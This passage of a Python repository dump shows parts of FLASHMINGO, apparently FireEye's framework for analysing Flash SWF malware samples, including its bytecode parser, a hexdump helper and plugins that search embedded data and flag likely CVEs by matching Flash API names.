| """ 219 | 220 | if not swf: 221 | self.ml.error("No swf object!") 222 | return 223 | 224 | pi = self._get_plugin_info_by_name(plugin_name) 225 | 226 | if not pi: 227 | msg = "Plugin {} not found!".format(plugin_name) 228 | self.ml.error(msg) 229 | return 230 | 231 | # 232 | # imp library magic 233 | mod_name = pi['mod_name'] 234 | loc_plugin = pi['location'] 235 | full_loc = os.path.join(loc_plugin, 'plugin.py') 236 | 237 | plugin_mod = imp.load_source(mod_name, full_loc) 238 | 239 | # Arguments are permissive here to support all plugins 240 | # with one interface but restricted on the plugin itself 241 | try: 242 | plugin = plugin_mod.Plugin(swf=swf, ml=logger, **kwargs) 243 | except TypeError as e: 244 | fmt = "Plugin {} called with wrong argument?".format( 245 | plugin_name) 246 | self.ml.error(fmt) 247 | self.ml.error(e) 248 | 249 | return None 250 | 251 | output = plugin.run() 252 | 253 | return output 254 | -------------------------------------------------------------------------------- /flashmingo/SWFObject.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # SWF object file 6 | 7 | 8 | import swiffas 9 | from swiffas import swftags 10 | 11 | from collections import defaultdict 12 | import subprocess 13 | 14 | 15 | class MethodObj: 16 | """This contains all information about a method 17 | 18 | This bare-bones class is used to get something 19 | resembling a C-struct in Python 20 | """ 21 | 22 | def __init__(self, abc=None, idx=0, name='', bytecode=None, 23 | instructions=None, local_count=0, trait_count=0, 24 | param_count=0, return_type=''): 25 | self.abc = abc 26 | 27 | # The index into the "methods" array 28 | # of *this* ABC 29 | self.idx = idx 30 | 31 | # The string within *this* ABC's constant pool 32 | self.name = name 33 | 34 | self.param_count = param_count 35 | self.return_type = return_type 36 | 37 | # From the MethodBodyInfo object 38 | self.bytecode = bytecode 39 | self.instructions = instructions 40 | self.local_count = local_count 41 | self.trait_count = trait_count 42 | 43 | # From the FFDEC plugin 44 | self.source = {} 45 | 46 | 47 | class SWFObject: 48 | """Represents a SWF file structure and contents 49 | 50 | FLASHMINGO acts on instances of this class to 51 | analyze the samples. 52 | """ 53 | 54 | def __init__(self, filename, ml=None): 55 | if not ml: 56 | print('No logging facility') 57 | raise ValueError 58 | 59 | if not filename: 60 | raise ValueError 61 | 62 | self.ml = ml 63 | self.filename = filename 64 | 65 | # Initialize all components 66 | self.tags = self.get_all_tags() 67 | 68 | # Actionscript ByteCode (ABC) tags 69 | # are very important for obvious reasons 70 | self.abcs = self.get_all_abcs() 71 | self.abc_list = list(self.abcs.values()) 72 | 73 | self.instance_info = self.get_all_instances_info() 74 | self.namespaces = self.get_namespaces() 75 | self.multinames = self.get_multinames() 76 | self.method_objects = self.get_all_method_objects() 77 | self.strings = self.get_all_strings() 78 | self.constants = self.get_all_constants() 79 | self.binary_data = self.get_all_binary_data() 80 | 81 | self.decompiled_methods = {} 82 | 83 | def get_all_tags(self): 84 | """Opens a SWF file and parses its tags 85 | 86 | Returns: 87 | A list of Tag objects 88 | """ 89 | 90 | p = swiffas.SWFParser() 91 | with open(self.filename, 'rb') as f: 92 | p.parse(f) 93 | 94 | tags = [x for x in p.tags] 95 | 96 | return tags 97 | 98 | def get_all_abcs(self): 99 | """Reads all ABC tags for a given SWF 100 | 101 | Returns: 102 | A dictionary of ABCFile objects, one for each DoABC tag found 103 | """ 104 | 105 | abc_d = {} 106 | 107 | for tag in self.tags: 108 | if isinstance(tag, swftags.DoABC): 109 | abc = swiffas.ABCFile(tag.bytecode, 0, len(tag.bytecode)) 110 | name = tag.name 111 | 112 | self.ml.debug("Tag {} has {} methods".format(name, len(abc.methods))) 113 | 114 | abc_d[name] = abc 115 | 116 | return abc_d 117 | 118 | def get_all_instances_info(self): 119 | """Gets all class instances and their traits 120 | 121 | Traits are methods, vars, etc. 122 | The information from this method provides a high 123 | level overview of the methods and variables in 124 | the entire codebase! 125 | 126 | NOTE: This will miss unused code (no instance) 127 | """ 128 | 129 | instances = {} 130 | 131 | for abc in self.abc_list: 132 | for ii in abc.instances: 133 | mni = abc.constant_pool.multinames[ii.multiname_idx - 1] 134 | instance_name = abc.constant_pool.strings[mni.name_idx - 1].value 135 | 136 | bci = abc.constant_pool.multinames[ii.super_multiname_idx - 1] 137 | base_name = abc.constant_pool.strings[bci.name_idx - 1].value 138 | 139 | instances[instance_name] = { 140 | 'base_class': base_name, 141 | 'constructor': '', 142 | 'globals': [], 143 | 'constants': [], 144 | 'methods': [] 145 | } 146 | 147 | # Constructor 148 | cctor = abc.methods[ii.iinit] # MethodInfo 149 | cctor_name = abc.constant_pool.strings[cctor.name - 1].value 150 | 151 | # NOTE: this produces strange results with some samples 152 | # probably several classes sharing a dummy constructor... 153 | instances[instance_name]['constructor'] = cctor_name 154 | 155 | # Traits 156 | # NOTE: not all InstanceInfo has Traits 157 | if getattr(ii, 'trait', None): 158 | for ti in ii.trait: 159 | 160 | if ti.kind == ti.Class: 161 | pass 162 | 163 | elif ti.kind == ti.Function: 164 | pass 165 | 166 | elif ti.kind in (ti.Function, ti.Method, ti.Getter, ti.Setter): 167 | mi = abc.methods[ti.method_idx - 1] 168 | name = abc.constant_pool.strings[mi.name - 1].value 169 | instances[instance_name]['methods'].append(name) 170 | 171 | elif ti.kind in (ti.Const, ti.Slot): 172 | # Trait Slot correlates roughly with global (instance) variables, 173 | # Trait Const with global (instance) constants 174 | if getattr(ti, 'multiname_idx', None): 175 | glob = self.lookup_multiname(abc=abc, idx=ti.multiname_idx) 176 | g_type = self.lookup_multiname(abc=abc, idx=ti.type_name) 177 | 178 | # 179 | # See "AVM2 Overview" (p.26) for an explanation of these constants 180 | # NOTE: Only numerical values for now 181 | if getattr(ti, 'vkind', None): 182 | if ti.vkind == 4: 183 | # uint constant pool 184 | value = abc.constant_pool.uints[ti.vindex - 1] 185 | elif ti.vkind == 3: 186 | # int constant pool 187 | value = abc.constant_pool.ints[ti.vindex - 1] 188 | else: 189 | value = 'unk' 190 | 191 | instances[instance_name]['globals'].append((glob, g_type, value)) 192 | 193 | return instances 194 | 195 | def get_namespaces(self): 196 | """Retrieves all namespace information 197 | 198 | Args: 199 | None 200 | 201 | Returns: 202 | A set of tuples: [(kind, name), ...] 203 | """ 204 | namespaces = set([]) 205 | 206 | # This comes from the AVM2 specification document 207 | ns_kind = {0x08: 'CONSTANT_Namespace', 208 | 0x16: 'CONSTANT_PackageNamespace', # Package 209 | 0x17: 'CONSTANT_PackageInternalNs', # Package 210 | 0x18: 'CONSTANT_ProtectedNamespace', 211 | 0x19: 'CONSTANT_ExplicitNamespace', 212 | 0x1A: 'CONSTANT_StaticProtectedNs', 213 | 0x05: 'CONSTANT_PrivateNs' 214 | } 215 | 216 | for abc in self.abc_list: 217 | for ns in abc.constant_pool.namespaces: 218 | n = ns.name 219 | # The "name" is an index! 220 | if n != 1: 221 | ns_name = abc.constant_pool.strings[n - 1].value 222 | if ns_name: 223 | namespaces.add((ns_kind[ns.kind], ns_name)) 224 | 225 | return namespaces 226 | 227 | def get_multinames(self): 228 | """Retrieves multinames information 229 | 230 | Returns: 231 | Dictionary of sets: {namespace: {multiname, ...}, ...} 232 | """ 233 | 234 | multiname_d = defaultdict(set) 235 | 236 | # This comes from the AVM2 specification document 237 | mn_kind = {0x07: 'QName', 238 | 0x0D: 'QNameA', 239 | 0x0F: 'RTQName', 240 | 0x10: 'RTQNameA', 241 | 0x11: 'RTQNameL', 242 | 0x12: 'RTQNameLA', 243 | 0x09: 'Multiname', 244 | 0x0E: 'MultinameA', 245 | 0x1B: 'MultinameL', 246 | 0x1C: 'MultinameLA', 247 | } 248 | 249 | for abc in self.abc_list: 250 | for mni in abc.constant_pool.multinames: 251 | mn_ns = None 252 | mn_name = None 253 | 254 | # NOTE: Not all Multinames have these attributes 255 | if getattr(mni, 'name_idx', None): 256 | idx = mni.name_idx 257 | if idx != 0: 258 | mn_name = abc.constant_pool.strings[idx - 1].value 259 | else: 260 | mn_name = 'unk NAME' 261 | 262 | if getattr(mni, 'namespace_idx', None): 263 | ns_idx = mni.namespace_idx 264 | if ns_idx != 0: 265 | mni_ = abc.constant_pool.namespaces[ns_idx - 1] 266 | mn_ns = abc.constant_pool.strings[mni_.name - 1].value 267 | else: 268 | mn_ns = 'unk NS' 269 | 270 | for instance_name in list(self.instance_info.keys()): 271 | if mn_ns in instance_name: 272 | # This may seem convoluted but it allows to match 273 | # XXX and FilePrivateNS:XXX 274 | multiname_d[mn_ns].add(mn_name) 275 | 276 | return multiname_d 277 | 278 | def get_all_method_objects(self, anon=True): 279 | """ 280 | Populates a list of method objects 281 | Method indexes are important because it is the way they 282 | are referenced by the decompiler service (FFDEC) 283 | 284 | NOTE: iterating over the method bodies leaves out, of course, 285 | methods without a body. These are uninteresting anyway. 286 | """ 287 | method_objects = [] 288 | 289 | for abc in self.abc_list: 290 | for method_body_info in abc.method_bodies: 291 | 292 | method_info = abc.methods[method_body_info.method] 293 | name = method_info.name 294 | 295 | if name != 0: 296 | method_name = abc.constant_pool.strings[name - 1].value 297 | else: 298 | if not anon: 299 | continue 300 | 301 | # method_info.name == 0 represents an anonymous method 302 | # These are just referenced as ordinals 303 | method_name = "anon_method_{}".format(method_body_info.method) 304 | 305 | bytecode = method_body_info.code 306 | 307 | # iter_bytecode() returns a generator that can 308 | # get exhausted. Coerce it to a list. 309 | instructions = list(method_body_info.iter_bytecode()) 310 | local_count = method_body_info.local_count 311 | trait_count = method_body_info.trait_count 312 | param_count = method_info.param_count 313 | 314 | # The return type is tricky. An index to the Multinames 315 | rt = method_info.return_type 316 | 317 | if rt == 0: 318 | return_type = '*' 319 | else: 320 | mn = abc.constant_pool.multinames[rt - 1] 321 | return_type = abc.constant_pool.strings[mn.name_idx - 1].value 322 | 323 | m = MethodObj(abc=abc, idx=method_body_info.method, name=method_name, bytecode=bytecode, 324 | instructions=instructions, local_count=local_count, trait_count=trait_count, 325 | param_count=param_count, return_type=return_type) 326 | 327 | method_objects.append(m) 328 | 329 | return method_objects 330 | 331 | def get_all_strings(self): 332 | """ 333 | Retrieves a list of ALL strings in 334 | all constant pools from all ABCs 335 | Get it? ALL of them! :) 336 | """ 337 | all_strings = set([]) 338 | 339 | for abc in self.abc_list: 340 | for s in abc.constant_pool.strings: 341 | all_strings.add(s.value) 342 | 343 | return all_strings 344 | 345 | def get_all_constants(self): 346 | """ 347 | This queries the Constant Pool 348 | """ 349 | all_constants = [] 350 | 351 | for abc in self.abc_list: 352 | all_constants += abc.constant_pool.uints 353 | all_constants += abc.constant_pool.ints 354 | 355 | return all_constants 356 | 357 | def get_all_binary_data(self): 358 | """ 359 | Returns a dictionary of 360 | embedded binary data indexed by class name 361 | """ 362 | binary_tags = [] 363 | symbol_tag = None 364 | symbols = dict() 365 | binary_data = dict() 366 | 367 | # Find all DefineBinaryData tags and the symbol one 368 | # There is only *one* symbol tag 369 | for tag in self.tags: 370 | if isinstance(tag, swftags.DefineBinaryData): 371 | binary_tags.append(tag) 372 | elif isinstance(tag, swftags.SymbolClass): 373 | symbol_tag = tag 374 | 375 | # Populate the symbols dict, indexed by character_id 376 | # Ex. {1 : "DescTop", ...} 377 | for sym in symbol_tag.symbols: 378 | symbols[sym.character_id] = sym.name 379 | 380 | # Populate the binary data dict 381 | for bin_tag in binary_tags: 382 | class_name = symbols[bin_tag.character_id] 383 | binary_data[class_name] = bin_tag.data 384 | 385 | return binary_data 386 | 387 | def decompile_method(self, method_name): 388 | """Gets a method's decompiled text 389 | 390 | Given a MethodObject, it returns its decompiled form 391 | This is not intended to be called directly but used 392 | internally instead 393 | 394 | Args: 395 | method_name: the MethodObject name 396 | 397 | Returns: 398 | The decompiled text form of this method 399 | """ 400 | 401 | if not self.decompiled_methods: 402 | return "no decompilation available" 403 | 404 | mo = self.get_method_obj_by_name(method_name) 405 | if not mo: 406 | return "no decompilation available" 407 | 408 | if mo.idx == 0: 409 | return "no decompilation available" 410 | 411 | # Get ABC's name 412 | abc_name = '' 413 | 414 | for name, abc in self.abcs.items(): 415 | if mo.abc == abc: 416 | abc_name = name 417 | break 418 | 419 | if not abc_name: 420 | # Can't find ABC's name 421 | return "no decompilation" 422 | 423 | self.ml.debug("ABC name: {} mo.idx: {}".format(abc_name, mo.idx)) 424 | 425 | try: 426 | source = self.decompiled_methods[abc_name][str(mo.idx)] 427 | except KeyError as e: 428 | source = "no decompilation available" 429 | 430 | return source 431 | 432 | def get_function_calls(self, method_name): 433 | """Get all function calls within a method 434 | 435 | Args: 436 | method_name: the method's name 437 | 438 | Returns: 439 | A set containing names of all called functions 440 | """ 441 | 442 | avm2calls = ( 443 | 'callpropvoid', 444 | 'callproperty', 445 | 'callproplex', 446 | 'callmethod', 447 | 'callstatic', 448 | 'callsuper', 449 | 'callsupervoid' 450 | ) 451 | 452 | calls = set([]) 453 | 454 | mo = self.get_method_obj_by_name(method_name) 455 | if not mo: 456 | return [] 457 | 458 | for ins in mo.instructions: 459 | if ins._name in avm2calls: 460 | qname_idx = ins.__dict__['index'] 461 | arg_cnt = ins.__dict__['arg_count'] 462 | func_name = self.lookup_multiname(abc=mo.abc, idx=qname_idx) 463 | 464 | self.ml.debug("- {} ({} args)".format(func_name, arg_cnt)) 465 | calls.add(func_name) 466 | 467 | return calls 468 | 469 | # --------------------------------------------------------------- 470 | # Auxiliary and convenience methods 471 | # --------------------------------------------------------------- 472 | def string_from_index(self, abc=None, idx=0): 473 | if not idx or idx == 0 or not abc: 474 | raise ValueError 475 | 476 | s = abc.constant_pool.strings[idx - 1].value 477 | return s 478 | 479 | def multiname_from_index(self, abc=None, idx=0): 480 | if not abc: 481 | raise ValueError 482 | 483 | if idx == 0: 484 | return '*' 485 | 486 | i = abc.constant_pool.multinames[idx - 1].name_idx 487 | s = abc.constant_pool.strings[i - 1].value 488 | return s 489 | 490 | def lookup(self, from_index=None, abc=None, idx=0): 491 | """It queries the constant pool(s) 492 | 493 | Used dependency injection to avoid code repetition 494 | """ 495 | s = None 496 | 497 | if not abc: 498 | self.ml.warning("Best effort search. May produce inaccurate results") 499 | 500 | for abc in self.abc_list: 501 | try: 502 | s = from_index(abc, idx) 503 | break 504 | except IndexError: 505 | # I will go to anti-pattern hell for this 506 | continue 507 | else: 508 | s = from_index(abc, idx) 509 | 510 | return s 511 | 512 | def lookup_multiname(self, abc=None, idx=0): 513 | """ This is a convenience method """ 514 | return self.lookup(from_index=self.multiname_from_index, abc=abc, idx=idx) 515 | 516 | def lookup_string(self, abc=None, idx=0): 517 | """ This is a convenience method """ 518 | return self.lookup(from_index=self.string_from_index, abc=abc, idx=idx) 519 | 520 | def get_all_method_names(self, anon=True): 521 | """Retrieves all method names 522 | 523 | This may seem redundant. Why not just use self.method_objects? 524 | This gives us the flexibility to run this again with a different 525 | value of "anon" 526 | """ 527 | m_objs = self.get_all_method_objects(anon) 528 | 529 | return [m.name for m in m_objs] 530 | 531 | def get_instance_for_method(self, method_name): 532 | """Finds to which instance a method belongs to 533 | 534 | It is so unnerving to know only a method name and need 535 | to start navigating all instances to find which one 536 | this belongs to 537 | 538 | Args: 539 | method_name: the method's name 540 | 541 | Returns: 542 | The instance name associated with this method or None 543 | """ 544 | 545 | for instance_name, ii in self.instance_info.items(): 546 | if method_name in ii['methods']: 547 | return instance_name 548 | 549 | return None 550 | 551 | def get_method_obj_by_name(self, name): 552 | """ 553 | NOTE: this poses a problem with unnamed methods 554 | """ 555 | for mo in self.method_objects: 556 | if mo.name == name: 557 | return mo 558 | 559 | self.ml.warning("Method {} not found".format(name)) 560 | 561 | return None 562 | 563 | def disassemble_method(self, method_name): 564 | """Dump the bytecode instructions in a method 565 | 566 | Args: 567 | method_name: method's name 568 | 569 | Returns: 570 | A list of strings, the AS3 bytecode instructions 571 | """ 572 | 573 | instructions = [] 574 | 575 | mo = self.get_method_obj_by_name(method_name) 576 | if not mo: 577 | return [] 578 | 579 | # Found the method body corresponding to that name! 580 | # Let's display a nice representation of its bytecode 581 | for ins in mo.instructions: 582 | if not ins._fields: 583 | instructions.append("{}".format(ins._name)) 584 | else: 585 | pretty_fields = ["{}: {}".format(f, ins.__dict__[f]) for f in ins._fields] 586 | instructions.append("{} ({})".format(ins._name, pretty_fields)) 587 | 588 | return instructions 589 | 590 | def debug_instruction(self, ins): 591 | """For debugging only 592 | 593 | This is a development helper to get debug information 594 | regarding an ActionScript ByteCode instruction. 595 | """ 596 | print(ins._name) 597 | 598 | for x in ins._fields: 599 | print(' -', x, ins.__dict__[x]) 600 | 601 | def find_simple_loops(self, method_name): 602 | """Finds simple loops within a method 603 | 604 | The most interesting things happen within loops 605 | (encryption, decoding, ByteArray manipulation) 606 | This primitive yields the AVM2 instructions contained in 607 | single loops and can be the basis for some heuristics. 608 | For example, is there bitxor instructions, etc. 609 | 610 | This is a bit hacky but does the trick for now. 611 | 612 | Following instruction's pattern translates to a loop: 613 | 614 | jump off_A 615 | off_B: label 616 | [...] 617 | off_A: some instructions implementing the comparison 618 | [...] 619 | iflt off_B // or any other ifXXX instruction 620 | 621 | Args: 622 | method_name: a method's name 623 | 624 | Returns: 625 | A list of instructions within a simple loop 626 | """ 627 | 628 | loop_ins = [] 629 | 630 | mo = self.get_method_obj_by_name(method_name) 631 | if not mo: 632 | self.ml.error("Could not find method {}".format(method_name)) 633 | return None 634 | 635 | f_loop = False 636 | 637 | last_ins = mo.instructions[0] 638 | last_offset = 0 639 | jump_offset = 0 640 | offset = last_ins._size + 1 # One byte is the opcode 641 | 642 | for curr_ins in mo.instructions[1:]: 643 | # Flag whether we are within a loop 644 | if last_ins._name == 'jump' and curr_ins._name == 'label': 645 | f_loop = True 646 | jump_offset = last_offset 647 | 648 | if curr_ins._name.startswith('if'): 649 | # and offset is correct 650 | delta = curr_ins.__dict__['offset'] 651 | # Remember that delta is negative :) 652 | if offset + delta == jump_offset: 653 | f_loop = False 654 | 655 | # 656 | # Get the instructions within the loop 657 | if f_loop: 658 | loop_ins.append(curr_ins._name) 659 | 660 | last_ins = curr_ins 661 | last_offset = offset 662 | offset += curr_ins._size + 1 663 | 664 | return loop_ins 665 | -------------------------------------------------------------------------------- /flashmingo/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/flashmingo/__init__.py -------------------------------------------------------------------------------- /flashmingo/hexdump.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # Basic hexdump implementation 6 | 7 | 8 | def hexdump(data, block_size=16): 9 | """This is a no-frills hex dump 10 | 11 | There is a hexdump module in pip 12 | but I wanted to reduce dependencies 13 | """ 14 | 15 | data_len = len(data) 16 | i = 0 17 | 18 | while True: 19 | a = i * block_size 20 | b = (i + 1) * block_size 21 | chunk = data[a : b] 22 | 23 | # data is of type string in Python 2.7 -> ord 24 | hex_chunk = ' '.join("{:02x}".format(ord(c)) for c in chunk) 25 | 26 | if len(chunk) < block_size: 27 | delta = block_size - len(chunk) 28 | 29 | # Padding 30 | padding = " " * (2 * delta) 31 | hex_chunk += padding 32 | 33 | print("{hex}\t{asc}".format( 34 | hex=hex_chunk, 35 | asc=chunk)) 36 | 37 | if b > data_len: 38 | break 39 | 40 | i += 1 41 | 42 | -------------------------------------------------------------------------------- /flashmingo/resources.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO Resources 5 | 6 | 7 | flashmingo_banner = r""" 8 | 9 | FLASHMINGO! 10 | 11 | The SWF analysis framework... with a funny name! 12 | 13 | _ 14 | - ^-) 15 | (.._ 16 | \`\\ 17 | |> 18 | /| 19 | 20 | FireEye's FLARE team 21 | 22 | 23 | Type 'help ' on any of these commands to get started: 24 | 25 | - load 26 | - status 27 | - show_plugins 28 | - run_plugin 29 | 30 | """ 31 | 32 | flashcmd_goodbye = r""" 33 | Thanks for using FLASHMINGO! 34 | """ -------------------------------------------------------------------------------- /make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | pushd %~dp0 4 | 5 | REM Command file for Sphinx documentation 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=sphinx-build 9 | ) 10 | set SOURCEDIR=.\docs\source 11 | set BUILDDIR=.\docs\build 12 | 13 | if "%1" == "" goto help 14 | 15 | %SPHINXBUILD% >NUL 2>NUL 16 | if errorlevel 9009 ( 17 | echo. 18 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 19 | echo.installed, then set the SPHINXBUILD environment variable to point 20 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 21 | echo.may add the Sphinx directory to PATH. 22 | echo. 23 | echo.If you don't have Sphinx installed, grab it from 24 | echo.http://sphinx-doc.org/ 25 | exit /b 1 26 | ) 27 | 28 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% 29 | goto end 30 | 31 | :help 32 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% 33 | 34 | :end 35 | popd 36 | -------------------------------------------------------------------------------- /plugins/binary_data/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/binary_data/___init__.py -------------------------------------------------------------------------------- /plugins/binary_data/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # BinaryData manifest file 4 | 5 | name: BinaryData 6 | active: yes 7 | description: Searches embedded binary data for a given pattern 8 | returns: A dictionary of class names and pattern offsets -------------------------------------------------------------------------------- /plugins/binary_data/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # Get all binary data embedded in the SWF 6 | 7 | import os 8 | import logging 9 | import logging.handlers 10 | 11 | 12 | class Plugin: 13 | """ 14 | All plugins work on a SWFObject passed 15 | as an argument 16 | """ 17 | def __init__(self, swf=None, ml=None, pattern=None): 18 | self.swf = swf 19 | self.pattern = pattern 20 | 21 | if not ml: 22 | self.ml = self._init_logging() 23 | else: 24 | self.ml = ml 25 | 26 | self.ml.info('Plugin started') 27 | 28 | def _init_logging(self): 29 | """ 30 | Plugins will inherit from this class to have 31 | a consistent logging scheme 32 | """ 33 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 34 | level=logging.DEBUG) 35 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 36 | 37 | log_dir = os.path.dirname(os.path.realpath(__file__)) 38 | log_filename = os.path.join(log_dir, 'plugin.log') 39 | 40 | handler = logging.handlers.RotatingFileHandler( 41 | log_filename, 42 | maxBytes=5 * 1024 * 1024, 43 | backupCount=5) 44 | 45 | handler.setLevel(logging.DEBUG) 46 | handler.setFormatter(fmt) 47 | 48 | ml = logging.getLogger('main') 49 | ml.addHandler(handler) 50 | 51 | return ml 52 | 53 | def run(self): 54 | """Get embedded binary data information 55 | 56 | If the plugin is called with a `pattern` parameter it will 57 | search for it in all the embedded binary data tags. 58 | Called without this parameter it just returns all data. 59 | """ 60 | 61 | if not self.pattern: 62 | self.ml.info("No pattern specified. Returning all embedded data") 63 | return self.swf.binary_data 64 | else: 65 | self.ml.info("Searching the embedded binary data...") 66 | return self._inspect_binary_data() 67 | 68 | def _inspect_binary_data(self): 69 | """Looks for a pattern within the embedded binary data 70 | 71 | Examples of patterns to look for are malware signatures, 72 | file magic numbers, etc. 73 | """ 74 | 75 | found_pattern = {} 76 | 77 | for class_name, data in self.swf.binary_data.items(): 78 | self.ml.debug("Inspecting {}'s binary data".format(class_name)) 79 | 80 | offset = data.find(self.pattern) 81 | 82 | if offset >= 0: 83 | found_pattern[class_name] = offset 84 | 85 | return found_pattern 86 | -------------------------------------------------------------------------------- /plugins/cve_search/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/cve_search/___init__.py -------------------------------------------------------------------------------- /plugins/cve_search/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # This is a template for easy development 4 | 5 | name: CVESearch 6 | active: yes 7 | description: Uses a simple heuristic to flag potential CVEs 8 | returns: A list of potential CVE names -------------------------------------------------------------------------------- /plugins/cve_search/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # This is a template for easy development 6 | 7 | import os 8 | import logging 9 | import logging.handlers 10 | 11 | 12 | class Plugin: 13 | """ 14 | All plugins work on a SWFObject passed 15 | as an argument 16 | """ 17 | def __init__(self, swf=None, ml=None): 18 | self.swf = swf 19 | 20 | if not ml: 21 | self.ml = self._init_logging() 22 | else: 23 | self.ml = ml 24 | 25 | self.ml.info('Plugin started') 26 | 27 | def _init_logging(self): 28 | """ 29 | Plugins will inherit from this class to have 30 | a consistent logging scheme 31 | """ 32 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 33 | level=logging.DEBUG) 34 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 35 | 36 | log_dir = os.path.dirname(os.path.realpath(__file__)) 37 | log_filename = os.path.join(log_dir, 'plugin.log') 38 | 39 | handler = logging.handlers.RotatingFileHandler( 40 | log_filename, 41 | maxBytes=5 * 1024 * 1024, 42 | backupCount=5) 43 | 44 | handler.setLevel(logging.DEBUG) 45 | handler.setFormatter(fmt) 46 | 47 | ml = logging.getLogger('main') 48 | ml.addHandler(handler) 49 | 50 | return ml 51 | 52 | def run(self): 53 | """Search for known CVEs""" 54 | self.ml.info("Searching for known CVEs footprints...") 55 | 56 | possible_cves = self._search_for_cves() 57 | 58 | return possible_cves 59 | 60 | def _search_for_cves(self): 61 | """This is a very quick & dirty implementation 62 | Heuristics can be refined further... a lot 63 | 64 | For now, it will just look for substrings in 65 | the disassembled code 66 | """ 67 | 68 | # This list is from dzzie's pdfstreamduper 69 | # https://github.com/dzzie/pdfstreamdumper 70 | cve_hints = { 71 | "CVE-2015-5122": [".opaqueBackground"], 72 | "CVE-2015-3113": ["play", "info", "code", "video", "attachNetStream"], 73 | "CVE-2015-0556": ["copyPixelsToByteArray"], 74 | "CVE-2015-0313": ["createMessageChannel", "createWorker"], 75 | "CVE-2015-0310 or CVE-2013-0634": ["new RegExp"], 76 | "CVE-2015-0311": ["domainMemory", "uncompress"], 77 | "CVE-2014-9163": ["parseFloat"], 78 | "CVE-2014-0515 (if in while loop)": ["byteCode", "Shader"], 79 | "CVE-2014-0502": ["setSharedProperty", "createWorker", ".start", "SharedObject"], 80 | "CVE-2014-0497": ["writeUTFBytes", "domainMemory"], 81 | "CVE-2012-0779": ["defaultObjectEncoding", "AMF0", "NetConnection"], 82 | "CVE-2012-0754": ["NetStream", "NetConnection", "attachNetStream", "play"], 83 | "CVE-2012-5054": ["Matrix3D"], 84 | "CVE-2012-0779": ["Responder", "NetConnection", "AMF0"], 85 | "CVE-2012-1535": ["FontDescription", "FontLookup"], 86 | "CVE-2011-0609": ["MovieClip", "TimelineMax", "TweenMax"], 87 | "CVE-2011-2110": ["Number(_args["], 88 | "Loads embedded flash object": ["loadbytes"], 89 | } 90 | 91 | possible_cves = [] 92 | 93 | if not self.swf.decompiled_methods: 94 | self.ml.error("Run decompiler plugin first!") 95 | return 96 | 97 | for cve, hints in cve_hints.items(): 98 | for abc_name, decompiled_text in self.swf.decompiled_methods.items(): 99 | for mo_idx, method_dec in decompiled_text.items(): 100 | # Keep track of the substrings found 101 | for hint in hints[:]: # deepcopy 102 | if hint in method_dec: 103 | hints.remove(hint) 104 | 105 | if not hints: 106 | # Found all hints! 107 | possible_cves.append(cve) 108 | 109 | return possible_cves 110 | -------------------------------------------------------------------------------- /plugins/dangerous_apis/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/dangerous_apis/___init__.py -------------------------------------------------------------------------------- /plugins/dangerous_apis/manifest.yml: -------------------------------------------------------------------------------- 1 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 2 | # 3 | # YAML is easy peasy 4 | 5 | name: DangerousAPIs 6 | active: yes 7 | description: This looks for APIs known to be abused, for example direct memory access 8 | returns: A set of tuples (name of AS3 module, dangerous instruction) -------------------------------------------------------------------------------- /plugins/dangerous_apis/plugin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright(C) 2019 FireEye, Inc. All Rights Reserved. 3 | # 4 | # FLASHMINGO! 5 | # This plugin searches for APIs known to be abused 6 | # for example, direct memory accesses 7 | 8 | import os 9 | import logging 10 | import logging.handlers 11 | 12 | 13 | class Plugin: 14 | """ 15 | All plugins work on a SWFObject passed 16 | as an argument 17 | """ 18 | def __init__(self, swf=None, ml=None, apis=[]): 19 | self.swf = swf 20 | self.user_apis = apis 21 | 22 | if not ml: 23 | self.ml = self._init_logging() 24 | else: 25 | self.ml = ml 26 | 27 | self.ml.info('Plugin started') 28 | 29 | def _init_logging(self): 30 | """ 31 | Plugins will inherit from this class to have 32 | a consistent logging scheme 33 | """ 34 | logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', 35 | level=logging.DEBUG) 36 | fmt = logging.Formatter('%(asctime)-12s [%(levelname)s] %(message)s') 37 | 38 | log_dir = os.path.dirname(os.path.realpath(__file__)) 39 | log_filename = os.path.join(log_dir, 'plugin.log') 